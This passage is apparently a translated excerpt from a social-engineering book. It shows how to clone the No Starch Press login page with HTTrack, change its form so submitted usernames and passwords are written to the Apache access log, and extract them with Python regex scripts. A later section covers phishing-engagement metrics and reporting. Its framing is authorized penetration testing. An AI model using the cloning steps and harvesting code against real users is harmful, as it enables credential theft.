"https://`IP Address`/Index.html" "Mozilla/5.0 (`user agent information`) `user agent information`)  (KHTML, like Gecko) `user agent information`) "
`IP Address` - - [17/Feb/2021:04:04:36 +0000] "GET /Error.html?pet=Dee-Oh-
Gee&school=Hogwarts&name=Mom&honeymoon=Tatooine HTTP/1.1" 200 12090 "https://`IP`
`Address`/Questions.html?username=Testing_Username&password=password123" "Mozilla/5.0 (`user`
`agent information`) `user agent information`)  (KHTML, like Gecko) `user agent information`) "

每一行提供了用户提交的信息。它告诉我们数据被输入的页面(questions.htmlerror.html),以及字段 ID 和对应的值,例如pet=Dee-Oh-Gee&

data_parser_index.py脚本将打开日志文件,找到我们要求用户在登录页面输入的每个字段,然后将字段输出为数组:

#!/usr/bin/env python3

import re

user_pass = re.compile(r"\S.+username\=(?P<user_name>\S.+)\&(?P<password>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
array = []

for l in log:
    u = user_pass.findall(l)
    if u:
        print(u)
    else:
        exit

我们导入 Python 的正则表达式模块,然后创建一个正则表达式来解析日志文件中符合条件的每一行的用户名和密码。打开文件后,for循环遍历日志文件中的每一行,显示所有匹配项。

接下来,data_parser_questions.py脚本执行与前一个脚本相同的任务,只不过它提取的是来自questions.html文件的输入。

#!/usr/bin/env python3

import re

questions = re.compile(r"\S.+pet\=(?P<pet>\S.+)\&school\=(?P<school>\S.+)\&name\=(?P<mother>\S.+)\&\
honeymoon\=(?P<honeymoon>\S.+)\sHTTP\S.+")
log = open("/var/log/apache2/access.log", "r")
array = []

for l in log:
    u = questions.findall(l)
    if u:
        print(u)
    else:
        exit

一旦我们使用脚本解析了数据,我们应该得到我们需要的信息。data_parser_index.py脚本提取了用户名和密码:

root@ossie:~# ./data_parser_index.py 
[('Testing_Username', 'password=password123')]

data_parser_questions.py脚本从questions.html中提取密码重置问题:

root@ossie:~# ./data_parser_questions.py 
[('Dee-Oh-Gee', 'Hogwarts', 'Mom', 'Tatooine')]

克隆一个网站

现在,你将克隆一个网站。为了本练习,你将创建一个简单但几乎完全相同的 No Starch Press 两个网页的副本。你在上一章创建的 Apache 实例需要一些代码来托管。你需要一些东西在用户屏幕上呈现;否则,你只是在测量点击。

寻找登录页面和用户页面

假设你正在针对一家公司的员工进行攻击,根据你的 OSINT 调查,你知道他们经常购买 No Starch Press 的书籍。为了窃取他们的网站凭据,你将复制nostarch.com的登录页面。现在访问此页面,或者通过robots.txt找到它,robots.txt是一个告诉互联网搜索引擎索引机器哪些内容需要索引(以及哪些不需要索引)的文件。我们通常在 OSINT 收集中使用该文件来识别那些通过传统搜索引擎无法找到的目录。

你可能会注意到,点击“登录”按钮会将你带到一个新网页:https://nostarch.com/user。让我们同时克隆主页和这个页面。

使用 HTTrack 克隆页面

你将使用网站复制工具 HTTrack 来完成这个克隆。这个命令行工具是 Kali 系统的原生工具,你可以在任何 Linux 系统上安装它。例如,使用以下命令在 Ubuntu 和 Debian 上安装它:

**sudo apt-get install httrack** 

该工具有几个有用的选项。–mirror选项可以创建一个几乎完全相同的特定网站副本。–update选项更新现有网站的副本;例如,修改底层代码、链接、跟踪器或字段。–continue选项如果镜像过程被中断或停止,则继续镜像网站。–skeleton选项只复制网站的 HTML 文件。-O选项允许你指定输出目录。

你应该使用哪个操作符取决于你计划克隆的网站的复杂性,以及你希望进行的钓鱼活动的复杂度。网站越大、越复杂,克隆它所需的时间就越长,这就增加了该组织发现并阻止你克隆的机会。如果客户不介意你发出太多噪音,或者希望得到一个强大的副本,或者你有充足的时间,可以进行完整的镜像过程。否则,仅仅使用 HTML 选项就足够了。你将在这里使用该选项。

要克隆 No Starch 的登录页面,输入以下命令:

**sudo httrack --skeleton https://nostarch.com/user/**

图 8-5 展示了克隆的页面。你可以从运行 HTTrack 的目录中查看它。进入适当的域名目录和目录结构。在这种情况下,你正在查看nostarch.comindex.html

<<克隆的 No Starch 网站登录页面,展示了 OpenID、用户名/电子邮件地址和密码的登录字段。>>

图 8-5:No Starch 登录页面的克隆

比较克隆站点与原始站点(图 8-6)。

<<真实 No Starch 网站的登录页面。地址栏(https://nostarch.com/user/)。显示 OpenID、用户名/电子邮件地址和密码的登录字段。>>

图 8-6:真实的 No Starch 登录页面

你应该注意到的唯一区别是 URL。

修改登录字段代码

当前状态下,任何输入到克隆站点的信息都会将用户重定向到真实网站。你需要更改登录字段的行为。

首先,让我们查看这段代码。最简单的方法是加载真实的网站,并通过浏览器的“检查元素”功能在代码中识别登录字段。为此,右键点击页面的任意部分,然后选择检查。现在将鼠标悬停在登录字段上,右侧的代码应会高亮显示这些元素。

在这种情况下,登录表单会显示。以下是原始页面的表单:

<form id="sign_in_form" class="sign-in-form" action="Questions.html" enctype="application/x-www-form-urlencoded"1"method=post""method=get"><fieldset form="sign_in_form"> <label for="username">Enter
your username:</label> <input id="username" name="username" value="" autocorrect="off" autocapitalize="off" class="notranslate textfield required" maxlength="50" size="20" autofocus="" type="text">2
<span></span> <label for="password">Enter
your password:</label> <input id="password" name="password" class="notranslate textfield required" size="20" autocomplete="off" type="password"> <span></span>3
<div> <input id="remember_me" name="remember_me" type="checkbox"> <label class="remember-me" for="remember_me">Remember me!</label> </div>
&nbsp;<a href="Questions.html"><button class="translate btn btn-large btn-arrow btn-arrow-right btn-arrow-large-horiz btn-arrow-large-right-dark yellow shadow" type="submit">Sign In <span></span></button></a>
</fieldset>
</form>

就像我们之前讨论的登录表单一样,这个文件包含了用户名 2 和密码 3 字段,且验证码的工作方式相同。

经过进一步检查,你会发现这个网站使用的是 HTTP POST 方法,而不是 GET 方法,这意味着你需要重写第 1 行,以便你能通过 URL 窃取凭证,从而将其写入 Apache 访问日志。HTTP POST 和 HTTP GET 都是从服务器到客户端获取信息的方法。主要区别在于 GET 方法将参数传递在 URL 中,这比 HTTP POST 方法更不安全,因为后者使用消息体传输参数。

让我们把这个应用到我们的 No Starch 登录页面,进行一些更改,以便你可以将类型更改为 GET,并按照计划捕获凭证。你要查找的文件位于nostarch.com/user目录下的index.html中。你可以通过“检查元素”方法查找该文件,或者手动下载并查看源代码。

以下是现有代码中包含表单的部分(可以通过搜索form找到):

<form action="https://nostarch.com/user/" method="post" id="user-login" accept-
charset="UTF-8"><div><div class="form-item form-item-openid-identifier form-type-textfield
form-group"> <label class="control-label" for="edit-openid-identifier">Log in using
OpenID</label>
<input class="form-control form-text" type="text" id="edit-openid-identifier"
name="openid_identifier" value="" size="60" maxlength="255" /><div class="help-block"><a
href="https://openid.net/">What is OpenID?</a></div></div><div class="form-item form-item-
name form-type-textfield form-group"> <label class="control-label" for="edit-name">Username
or email address <span class="form-required" title="This field is
required.">*</span></label>
<input class="form-control form-text required" title="Enter your username or email
address." data-toggle="tooltip" type="text" id="edit-name" name="name" value="" size="60"
maxlength="60" /></div><div class="form-item form-item-pass form-type-password form-group">
<label class="control-label" for="edit-pass">Password <span class="form-required"
title="This field is required.">*</span></label>
<input class="form-control form-text required" title="Enter the password that accompanies
your username." data-toggle="tooltip" type="password" id="edit-pass" name="pass" size="60"
maxlength="128" /></div><input type="hidden" name="form_build_id" value="form--q4hdYs-
iZQz_R7O2aCls66if7f2BqLo2k1ZftdGkfs" />
<input type="hidden" name="form_id" value="user_login" />
<input type="hidden" name="openid.return_to"
value="https://nostarch.com/openid/authenticate?destination=user" />
<ul class="openid-links"><li class="openid-link"><a href="#openid-login">Log in using
OpenID</a></li>
<li class="user-link"><a href="#">Cancel OpenID login</a></li>
</ul><div class="form-actions form-wrapper form-group" id="edit-actions"><button
type="submit" id="edit-submit" name="op" value="Log in" class="btn btn-primary form-submit
icon-before"><span class="icon glyphicon glyphicon-log-in" aria-hidden="true"></span>
Log in</button>
</div></div></form>

现在,进行以下加粗部分所示的更改:

1**<form action="Error.html" method="get"** id="user-login" accept-charset="UTF-8"><div>
<div class="form-item form-item-openid-identifier form-type-textfield form-group"> 
<label class="control-label" for="edit-openid-identifier">Log in using OpenID</label>
<input class="form-control form-text" type="text" id="edit-openid-identifier"
name="openid_identifier" value="" size="60" maxlength="255" />
<div class="help-block">
<a 2**href="Error.html"**>What is OpenID?</a></div>
</div>
<div class="form-item form-item-name form-type-textfield form-group"> 
<label class="control-label" for="edit-name">Username or email address <span class="form-required" title="This field is required.">*</span></label>
<input class="form-control form-text required" title="Enter your username or email
address." data-toggle="tooltip" type="text" id="edit-name" name="name" value="" size="60"
maxlength="60" />
</div>
<div class="form-item form-item-pass form-type-password form-group"> 
<label class="control-label" for="edit-pass">Password <span class="form-required" title="This field is required.">*</span></label>
<input class="form-control form-text required" title="Enter the password that accompanies
your username." data-toggle="tooltip" type="password" id="edit-pass" name="pass" size="60"
maxlength="128" />
</div>3<input type="hidden" name="form_build_id" value="form--q4hdYs-iZQz_R7O2aCls66if7f2BqLo2k1ZftdGkfs" />
<input type="hidden" name="form_id" value="user_login" />
<input type="hidden" name="openid.return_to" value="Error.html"/>
<ul class="openid-links"><li class="openid-link"><a href="#openid-login">Log in using
OpenID</a></li>
<li class="user-link"><a href="#">Cancel OpenID login</a></li>
</ul><div class="form-actions form-wrapper form-group" id="edit-actions">
<button type="submit" id="edit-submit" name="op" value="Log in" class="btn btn-primary
form-submit icon-before">
<span class="icon glyphicon glyphicon-log-in" aria-hidden="true"></span>Log in</button>
</div></div></form>

你首先需要修改form action 1 和href标签 2,这样可以将该页面的流量重定向到我们的error.html文件。在 3 的位置,你可以看到需要删除的代码部分,这样你的假页面就不会将受害者重定向到真实页面。

你需要自己制作一个版本的error.html文件,引用这个文件并不难。你可以做一些简单的操作,比如复制现有文件并将表单替换为类似下面这样的语句:

<h5> Sorry, but our site is down for maintenance. Please check back in 24 
hours. We are sorry for any inconveniences this may cause.</h5>

你可以在 GitHub 仓库中找到一个名为error.html的示例文件,它用于 SurveyMonkey 页面(sm-phish.seosint.xyz/)。

现在,通过双击文件查看器中的图标或在浏览器中导航到主机来测试此副本(图 8-7)。

<<“我的账户”页面的克隆版 No Starch 网站,显示“登录”标签并伴有错误信息:“抱歉,我们的网站正在维护中。请在 24 小时后再试。我们为此带来的不便深感抱歉。”>>

图 8-7:在克隆的 No Starch 注册页面上显示自定义错误信息

将网页添加到 Apache 服务器

一旦确认站点正常运行,将其移至 Apache 的根目录。这里将安装 SSL/TLS 证书,并且 DNS 也会指向这个目录。为此,你需要将每个 HTML 文件移动到 /var/www/public_html。所有对网站的访问将记录在 Access.log 文件中,你将从中收集受害者提供的数据。

以下是此次事件的 Access.log

`IP Address` - - [17/Feb/2020:04:04:12 +0000] "GET
/error.html?openid_identifier=test&name=test&pass=test HTTP/1.1" 200 11590 "https://`IP`
`Address`/index.html" "Mozilla/5.0 (`user agent information`) `user agent information`) 
(KHTML, like Gecko) `user agent information`) "

结论

设置钓鱼页面并不特别难,尽管过程可能有些单调,而且这将决定你的成功与否。钓鱼着陆页面的质量能够决定成败,这关系到你能否在一个安全意识薄弱的公司中成功钓鱼,或者通过建立合作关系获得持续的业务。

另一个需要记住的事项是,页面的现实程度应仅根据客户的需求来决定。如果他们希望这个练习的完成度是 3 分(满分 10 分),你可以不启用 HTTPS 支持,包含一些坏链,或者使用差劲的语法。如果他们要求达到 9 分,那么就全力以赴,把所有的资源都投入进去,成为最顶尖的国家级社会工程师!

第九章:检测、衡量和报告

社会工程学行动中最有价值的部分,也是最常被误导或忽视的部分。在这一章中,你将了解工作的检测、衡量和报告阶段。通常,帮助客户组织的一部分是让自己被发现。在衡量阶段,你应该统计你的成功率以及其他关键绩效指标。你将使用这些统计数据生成一份专业、易懂的报告。

我们将讨论衡量参与结果的多种方式。这涉及到考虑各种指标,使你的数据对客户更易理解,其中最有用的指标超越了仅仅陈述活动产生了多少次打开的邮件或点击的链接。最后,我会解释如何编写一份有用的、引人入胜的报告,供高管们阅读。

检测

尽管社会工程师的部分目的是获得未经授权的访问,但有道德的社会工程师也应该希望被检测到。客户雇佣你不是为了打垮他们的员工,而是希望了解他们公司存在的弱点,并得到克服这些弱点的建议。

因此,你必须接受一种折中的方法:挑战你的目标,但要公平地进行。部分折中在于让客户培训员工,而这不在你的控制范围内。本书的第三部分将讨论这一点。你可以改变的部分是你参与的结构。通过使用不同难度级别的攻击,你可以给员工一个机会来发现并报告你。

在确定行动范围时,你应该与客户达成明确的共识,确定行动的隐蔽性。如果你执行这个攻击是为了启动一个意识提升项目,你可能希望保持极度隐蔽或极其显眼,这取决于你合作的组织的成熟度(尽管最终决定权在客户手中)。一个成熟的组织可能能够处理秘密行动,但仍然希望行动非常显眼,或者它可能还不成熟,甚至无法从秘密行动中获益,即使经理选择了这种方式。

如果你是在秘密进行操作,你可以准确地了解一个精密的对手在组织内能够做到的事情。如果动机是正当的,秘密行动可以为理解风险设立一个良好的基准。最能从中受益的组织是那些已经具备意识和培训计划的组织。通常,这些行动最适合作为对抗性模拟活动的一部分进行,例如红队,或者在较小程度上,渗透测试。单独进行这样的行动也是可以接受的。

公开测试是一个完全没有接触过对抗性模拟和社交工程的组织的优秀入门接触点。如果对抗性模拟的目的是为了合规,公开操作可能是最佳解决方案,能节省你和客户最多的时间。

测量

为了评估你的参与效果,你需要使用一些指标。但到底哪些指标重要呢?如何衡量它们?你需要上统计学课程或获得数据科学学位吗?

了解一些统计学知识会有所帮助,在某些情况下——例如,如果你想评估一个公司哪个部门最容易受到社交工程攻击,或者哪些方案和时机最有效——理解像回归分析和聚类分析这样的数据科学概念肯定是有益的。然而,在大多数情况下,这种背景知识并不是必要的。还要记住,如果你打算进行这样的研究,你需要一个大量的数据集(如果不是数百万封钓鱼邮件的话,至少也得有成千上万封),更重要的是,你还需要获得客户的同意。

指标选择

在选择指标时,尽量做到实际可行。什么能让客户的组织登上地方报纸的头版,并引起广泛关注?什么可能让客户陷入法律麻烦?大多数情况下,仅仅打开一封邮件不会导致负面结果,所以这个指标可能没什么实际意义。点击链接、提供信息,或者未能报告自己成为受害者的情况确实会带来负面后果。

虽然你可能有自己关心的指标,但了解客户认为哪些指标重要也是至关重要的。从这个角度出发,你可以根据需要整理数据,帮助客户理解这些数据。

比率、中位数、平均数和标准差

为了有意义地呈现数据,你需要知道如何计算以下值:比率、中位数、平均数和标准差。进行这些计算需要至少 30 个数据点,才能保证统计学上的显著性。

比率,用通俗的语言来说,就是告诉你“XY中出现的比例”。换句话说,如果你把一封钓鱼邮件发给 100 人,其中 19 人点击了链接,那么你就有 19/100,也就是 19%的几率有人点击链接(这也叫做点击率)。

中位数是最具代表性的数值。如果你把数据点从小到大排列,中位数将会位于两端的中间位置。例如,假设你对一个有 100 名用户的客户进行了三次钓鱼测试。第一次有 62 个用户中招,第二次有 34 个,第三次有 19 个。我们把这些数据按从小到大的顺序排列: [19, 34, 62]。中位数是 34,因为它正好处在中间。

另一方面,均值是所有数据点的平均值。使用相同的三个参与数据,你可以将这三个值相加,并将结果除以 3(因为有三个值),得到一个 38.33 的平均值。

要整体分析模式,可以使用标准差,即值集变动的度量。简单来说,标准差提供了每个值与均值的差异程度。我本可以用实际的公式让你感到枯燥,但好消息是,Excel 和大多数电子表格应用程序会为你计算标准差。低标准差意味着数据点之间的相似性较高,而标准差高则表明差异较大。

拥有这些数据点将帮助客户了解其组织中员工行为的一般状态。例如,如果你有数据集 1、1、1、1、5、7、24,你可以生成以下值:

  • 中位数:1

  • 平均值:5.714

  • 标准差:8.420

从这些统计数据中,你可以概括客户员工在测试中的表现。例如,这个例子中的标准差为 8.420,表明数字集差异较大,很可能表明人们的行为差异很大。如果你回到原始数据,考虑到最高数字 24 与第二高数字 7 之间的巨大差异,这个标准差就有意义了。如果我们将 24 改为 12,减少数据集中的变动,标准差将显著下降,降至 4.281。

邮件被打开的次数

打开次数是一个相对较小的指标。如果将其与点击和钓鱼网站上的数据输入结合使用,可以获得更有用的信息,例如通过主题行识别钓鱼邮件的非技术员工的比率。然而,客户通常会单独关注打开次数。我总是尽量避免这样做。

邮件是为了被打开的,虽然有些邮件可能包含恶意软件,但使用这一指标可能会促使用户开始回避合法邮件。邮件是否包含恶意软件应由邮件管理和安全团队来判断,他们应该监控进来的邮件附件。虽然用户应承担起维护组织安全的责任,但公司的会计并不是信息安全或恶意软件专家。如果钓鱼攻击使用了真实的主题行和预览信息,用户如何在不打开邮件的情况下判断这封邮件是否为钓鱼邮件?

有一个警告:更高级的攻击者可以利用浏览器端的漏洞收集浏览器元数据,如果用户打开了邮件。这些是真实的威胁,但如果一个公司无法应对基本的钓鱼攻击,它可能缺乏应对这些更高级攻击的能力。这也说明了我们将在第十章讨论的“深度防御”主题。你不应该仅仅依赖教育或技术控制,应该既进行教育,又实施电子邮件安全工具,并补充恶意软件保护。

不要仅仅关注打开次数,而应关注以下有用的指标:

  1. 打开报告距离:第一次报告的时间减去第一次打开的时间

  2. 打开报告比例:邮件被报告的次数除以打开次数

打开报告距离衡量的是第一次打开邮件和报告给安全团队之间的时间。这个指标有价值,因为它能够揭示安全团队有多少时间来防止钓鱼攻击造成重大影响。在收到报告后,安全团队可以查看邮件,在沙盒环境中查看链接的网页,然后开始采取防御措施。这些措施可能包括争取让网站被下架,以及sinkholing链接(通过更改内部 DNS 配置,将用户重定向到一个安全的地方)。高的打开报告距离值可能意味着很多人在报告之前就已打开了邮件,这样会给安全团队留出更少的应对时间,因为有人会点击链接而不报告,正如许多人已经表现出来的那样。

打开报告比例衡量的是用户在报告方面的参与度。在那些打开邮件的用户中,有多少人将其报告给了安全团队?这个指标表明用户和安全团队之间是否存在协作关系,也反映了用户识别钓鱼攻击的能力。

点击次数

邮件链接的点击次数是最具影响力的指标之一。点击可能导致恶意软件感染、文件上传,或通过虚假表单泄露敏感信息,如密码。然而,尽管比打开次数更重要,这个指标并不是最重要的。

将点击与其他数据结合起来,比如从第一次点击到第一次报告的时间,或者衡量点击到报告和点击到输入信息的指标,更具价值。这是因为了解一个组织如何应对点击,比单纯知道用户是否会点击更加重要。

虽然用户不应该点击这些链接,但如果他们确实点击了,保护他们的责任仍然是安全团队的。邮件管理、信息安全团队和用户应该合作,确保如果点击了链接,系统能够保护用户。保护组织的责任不应该完全由未经培训的非技术用户承担。

涉及点击的有用指标包括以下内容:

  1. 点击报告间隔:第一次报告的时间减去第一次点击的时间

  2. 点击报告比率:报告次数除以点击次数

  3. 输入比率:输入信息的次数(例如,向表单输入)除以点击次数

  4. 输入报告比率:输入信息的次数除以报告次数

与打开报告间隔类似,点击报告间隔衡量的是从第一次点击邮件到报告给安全团队的时间。这一指标再次表示安全团队有多少时间来减轻钓鱼攻击的影响。同样,像打开报告比率一样,点击报告比率衡量的是用户在报告方面的参与度。

考虑点击报告与打开报告之间的差异。理想情况下,拥有更高的打开报告比率对组织更有利,因为它能更早地向安全团队发出警报,从而提供更多的行动机会。理想的情况是,组织会有一个高的打开报告比率,并且从中获得最小的数据集来衡量点击报告。如果点击报告比率高于打开报告比率,或者两者相等,则说明人们在打开邮件后点击链接,然后才报告。

输入比率衡量的是那些点击了邮件链接的人中,有多少人向链接的网站输入了信息。类似地,输入报告比率比较的是输入信息的次数与报告给安全团队的次数。在一个理想的世界里,我们希望输入比率为 0(因为 0 除以任何数仍然是 0)。这意味着尽管打开了邮件并点击了链接,但没有人输入任何信息。

否则,我们希望有一个较高的输入比率。这意味着人们能意识到自己犯的错误,并且愿意向安全团队承认。让用户报告点击了链接而不害怕惩罚,比让用户保持沉默,让恶意行为继续发生要好得多。对于安全专家来说,防御已知的威胁比被突然袭击更加容易。

信息输入到表单中

用户输入表单中的信息性质是另一个最关键的指标。用户可能会在表单中输入密码、电子邮件地址和其他敏感信息,如果没有一个强有力的安全运营中心(SOC)在主动监控用户的系统、互联网活动和来自公共互联网的活动,组织可能完全不知情。在报告此指标时,避免分享实际的密码或报告中收集的数据。如果必须分享这些信息,尽量只提供需要重设密码的用户列表;最好在正式报告之外进行此操作。

使用输入信息的有用指标包括以下内容:

  1. 输入比例 信息输入的次数除以点击的次数。

  2. 输入报告比例 信息输入的次数除以报告的次数。

  3. 有效性比例 输入的有效凭证数量除以输入的总凭证数量。

  4. 妥协比例 在“Have I Been Pwned”数据库中输入信息的用户数量除以输入信息的总用户数量。

计算有效性比例要求你知道用户实际凭证的哈希值。如果客户的安全团队愿意提供其用户密码的哈希值,你可以使用相同的哈希算法对输入表单中的信息进行哈希处理,然后比较两个哈希值,以查看用户是否输入了有效信息。这可以告诉你有多少人将合法信息输入到钓鱼网站中,多少人则是由于错误或恶作剧而没有输入合法信息。

如果组织对员工进行钓鱼测试过于频繁,或将其在此类测试中的表现与绩效评估挂钩,员工有时会输入虚假信息,甚至是其他员工的信息。虽然我们不应鼓励员工输入任何信息,但教他们输入虚假信息可以从两个方面惠及组织:如果组织定义了一套标准的虚假信息(如电子邮件地址、姓名、电话号码、密码),安全运营中心可以监控这些信息的使用,员工可以测试网站是否接受虚假信息,组织可以利用这些信息(如果泄露)来识别试图利用这些信息进行未经授权访问的行为者。未确认信息的有效性可能会扭曲统计分析和报告结果,使得组织看起来表现比实际情况更差。

计算受损比例需要一些开放源情报(OSINT)。这个指标很有用,因为它承认了社交工程攻击对用户行为的影响,超出了当前攻击的范围。使用受害者的工作邮箱地址,查看有多少地址出现在 Have I Been Pwned 数据库中(第六章介绍)。将其与输入信息的用户数量进行比较。如果你发现受害者在数据库中,根据他们所属的泄露事件,你可能希望将公司邮件的可接受使用纳入你的安全意识项目,并制定严格的政策来防止未来的事件发生。在数据库中找到员工的记录,表明他们可能在网络上有风险行为,且可能对组织构成威胁。

这个指标可能总是包含偏差信息,从而影响结果。有些人会把工作邮箱用于所有事务,结果既没有被捕捉到,也没有发生泄露,因此导致了偏差。人们在家和工作时常使用相同的密码。除非你评估用户涉及的所有密码泄露,否则数字就会不准确。通常情况下,除非得到员工的同意,否则雇主不能在个人资产上进行调查。我不愿意要求这种同意,但如果你获得了员工同意查询他们个人账户的泄露数据库,那么你就能去除大部分偏差,因为你将能够全面衡量他们的安全态势。

受害者采取的行动

受害者采取的行动包括打开电子邮件、删除电子邮件、转发给非技术或非安全人员、转发给安全人员、点击邮件中的链接、输入信息或报告(无论是否成为受害者)。了解用户在受害后采取的行动至关重要。他们是否向管理层报告,试图掩盖,还是什么都不做?将此信息纳入报告中需要客户提供输入,但通常这类信息并不难获取。根据我的经验,只要直接询问,通常可以得到这些信息。

检测时间

组织的安全团队发现钓鱼攻击发生需要多长时间?组织是通过用户报告、电子邮件应用或服务,还是通过 SEIM 系统被告知的?发现事件所需的时间反映了组织的成熟度以及信息安全能力。时间越长,或者根本没有检测到事件,越能说明攻击的潜在灾难性。

根据你阅读的报告和出版商的动机,停留时间(指攻击者在环境中执行操作的时间,且不会引起检测或其他缓解措施的介入)从几天到几年不等。较短的停留时间意味着攻击者有更少的时间在环境中建立立足点、为组织带来不良后果,或产生负面宣传。

我们在本章的其他部分已经讨论过用于衡量检测时间的有用指标和比较,因此这里不再重复。

修正行动的及时性

组织执行修正行动的速度有多快?越快越好。这个指标表示组织应对事件的能力的韧性。以下的度量可以帮助判断事件响应团队如何应对事件:

  1. 打开修正距离 是指修正行动发生的时间减去第一次打开的时间。

  2. 点击修正距离 是指修正行动发生的时间减去第一次点击的时间。

打开和点击修正距离是度量第一次打开或点击的时间——取决于具体情况,哪一种更合适——直到修正行动发生的时间。修正行动包括对链接进行 sinkhole 处理、屏蔽发送者、开始网站下线以及通知用户有关攻击的信息等。这些指标并不评判采取的行动是否足够(这是下一个指标)。它们关注的是组织的响应时间。采取正确的行动很重要,但如果没有及时执行,这些行动毫无意义。

修正行动的成功性

修正行动的及时性和成功性同样重要。如果这些步骤能够阻止攻击,那就完美了。然而,在某些情况下,修正行动可能会增强攻击,反而让攻击者更有利可图。

在我的一次任务中,我在发送了大约 50%的邮件后被封锁了。我是一次性将邮件分批发送给 7 到 15 人。只有大约 20%的收件人点击了我的链接,只有 6%的收件人输入了任何信息。我以为我完了。

第二天早上,我登录到我的系统,发现组织中有 42%的人输入了信息;有些人甚至输入了两次或更多。为什么会这样?封锁我的网络管理员将邮件转发给了整个组织,但并没有封锁或 sinkhole 处理邮件中的链接。他们制造了一种斯特雷桑德效应;试图警告大家邮件的内容,结果反而让更多人接触到它,最终好奇心害死了猫。

风险评级

量化风险并不容易,但这是非常重要的,因为你提交给客户的报告应该根据严重性组织你的发现。有多种方法可以用于评级和量化风险,既有定性的方法(使用如“关键”、“高”、“中”、“低”和“信息性”这样的主观标签),也有定量的方法(例如 0 到 10 的评分)。OWASP 风险评级方法和通用漏洞评分系统(CVSS)就是两种这样的评估方法。

除非您的雇主或客户希望进行定量风险评分,否则我建议坚持使用定性分析。尝试进行定量分析需要所有数据点以数字格式呈现,而对某些数据点进行翻译会增加不必要的复杂性和问题。我们的大多数度量标准本质上是定量的,但我们无法轻易地将行动转化为数值。例如,转发电子邮件与删除电子邮件并无直接关系。如果我们为这些任务分配数字值,就会暗示它们之间存在某种关系,但这并不成立。在确定风险的严重性时,考虑事件的可能性和影响,然后平衡这两个因素以得到一个综合评分。

接下来,定义什么应视为关键、高、中、低和信息性风险。以下是您可以在报告中根据需要使用的标准定义:

关键

  1. 这些是可能造成灾难性损害、长期停机或完全中止所有操作的风险。它们容易且迅速被利用。这些风险通常是面向公众的,并对组织的业务运营能力产生重大影响。它们还可能威胁到人类生命。在信息安全领域,这也可能包括对受监管或敏感数据的泄露,例如个人身份信息(PII)或受保护的健康信息(PHI),类似于发生在 Equifax、美国公务员管理局(OPM)或其他同类规模泄露事件的情况。

  1. 这些风险可能会导致代价高昂或严重的停机、损害或操作中断。利用这些风险的门槛较低,且影响较大,可能涉及敏感数据或受监管数据,尽管其数量少于关键风险。

中等

  1. 这些事项可能会在客户组织内造成干扰或问题,但不会导致重大停机。它们可能涉及获得对系统的访问权限,这些系统可能被用来转向其他系统或设施。它们可能涉及不公开的数据,这些数据并不特别敏感。

  1. 这些事项对客户几乎没有风险。它们可能存在边缘情况的依赖关系,如本地物理访问,或可能需要其他攻击向量已被执行。如果成功,这些风险造成的干扰最小。

信息性

  1. 这些当前不会构成风险,但不符合最佳实践,或者可能在未来变得有风险。

报告

本节将指导你编写客户的交付报告。虽然这并不像实际的合作那么激动人心,但报告是客户支付你高额费用的主要原因。话虽如此,制作一份有用的报告是个挑战。事实上,一些客户会仔细阅读报告,而其他客户则会将其归档作为合规目的而不看一眼。如果人们不阅读报告,他们怎么能纠正其中的发现呢?本节通过从两个角度来回答这个问题:客户应该阅读的交付报告,以及那些需要你暂停工作并联系客户的情况。

知道何时打电话

报告并不是你与客户沟通的唯一工具。当人类生命或关键计算资源受到威胁时,可以随时联系客户。例如,如果你发现客户网络中有恶意行为者或其他可能是时间敏感的恶劣情况,应该立即警告客户。

对于合作和相关活动中的其他事项,可以通过电子邮件或电话提供简短的增量更新,但请确保澄清这些非正式沟通中的信息并非正式内容。如果没有这样做,提供的更新如果与报告中的信息相矛盾,可能会将你置于法院的风险之中。报告应该是你和客户之间在销售过程完成后,主要的且理想上唯一的官方沟通。

撰写报告

我建议你在进行报告编写时同步进行,这样就不会错过细节,也不必翻阅笔记来补充内容。借鉴《实用数据包分析》(No Starch Press,2017)一书的作者 Chris Sanders 的哲学,报告应该简明扼要,同时也应该讲述一个故事。通过讲故事的方式,你可以更有效地吸引读者,甚至可能通过社会工程学手段促使他们通读整个报告。

我所说的讲故事是什么意思?解释你采取的步骤以及它们为何重要。让它听起来像你在扮演一个真正的恶意行为者。谈谈你看到的情况,你的分析和结果。为了更好地吸引读者,使用主动语态而不是被动语态。例如,顾问成功枚举了该网站是主动语态。网站的枚举被认为是可能的是被动语态。

根据你是自雇还是为公司工作,这段时间的收费标准可能低于整个合作的费用,或者可能不计入费用。不要为了使用所有的时间而去用它。只用你需要的时间。这段时间还应该包括文档审查(例如由编辑、法律团队或质量保证人员进行的审查)。

报告结构

首先,选择你喜欢的模板——可以是你雇主提供的,也可以是附录 B 中的,或者是你自己从头制作的。为了本章的目的,我们将演示第 187 页上的模板。

在背景部分,解释限制测试的参数以及进行测试的原因。包括参与任务定义范围和工作说明中的语言,明确指定你所接到的规则和你预计在其中操作的参数。此部分应不超过一页,理想情况下只有一两段。

接下来是执行摘要,或者用现代互联网术语来说,就是报告的太长;没时间读 (TL;DR) 部分。在这个部分中,概述你所做的工作、发现的内容以及你的评估。你也可以提供一些一般的修复建议。不要在这里涉及太多细节,因为你应该假设这个部分的读者是非技术性的,他们只需要一个简明的电梯推销。

执行摘要后,加入一部分概述你的主要发现。在这一部分,你应当定义那些最应该引起客户关注的重大问题。使用风险评级系统,如《风险评级》一节第 129 页所描述的那样,确定哪些发现应当被评为关键或高风险,并只包括这些发现。(所有其他发现将在文档后面的“发现”部分列出。)对于每个严重的发现,解释它是什么,如何被利用,潜在的后果是什么,如何独立测试,以及如何进行修复。尽力向你的读者传达这些发现的严重性。与高层沟通时,我发现通过具体列出负面后果来描述风险非常有用,比如成为纽约时报的头条新闻,或者在法庭上因疏忽被起诉。像这样的具体细节能够帮助引起高层的注意。

下一部分应该详细描述你发现的 OSINT。对于每一条信息,提供你使用的工具的输出或该信息的截图作为证据。如果数据在公共互联网中可获取,你也可以提供链接。没有输出、截图或链接,客户无法验证你提供的信息是否准确。

如果你的截图包含敏感、危害性或其他可能引发问题的信息,你可以考虑在发送给客户时对文档进行加密。我也曾与一些客户合作,他们不接受任何数字报告。为了避免电子发现,他们要求报告通过邮寄方式发送,以防报告相关内容最终出现在法庭上。虽然你在这一部分不需要标明风险,因为如果风险足够严重,已经被视为发现,它们会在发现部分列出并标明,但还是要将关键和高风险用粗体字体标出,吸引注意。

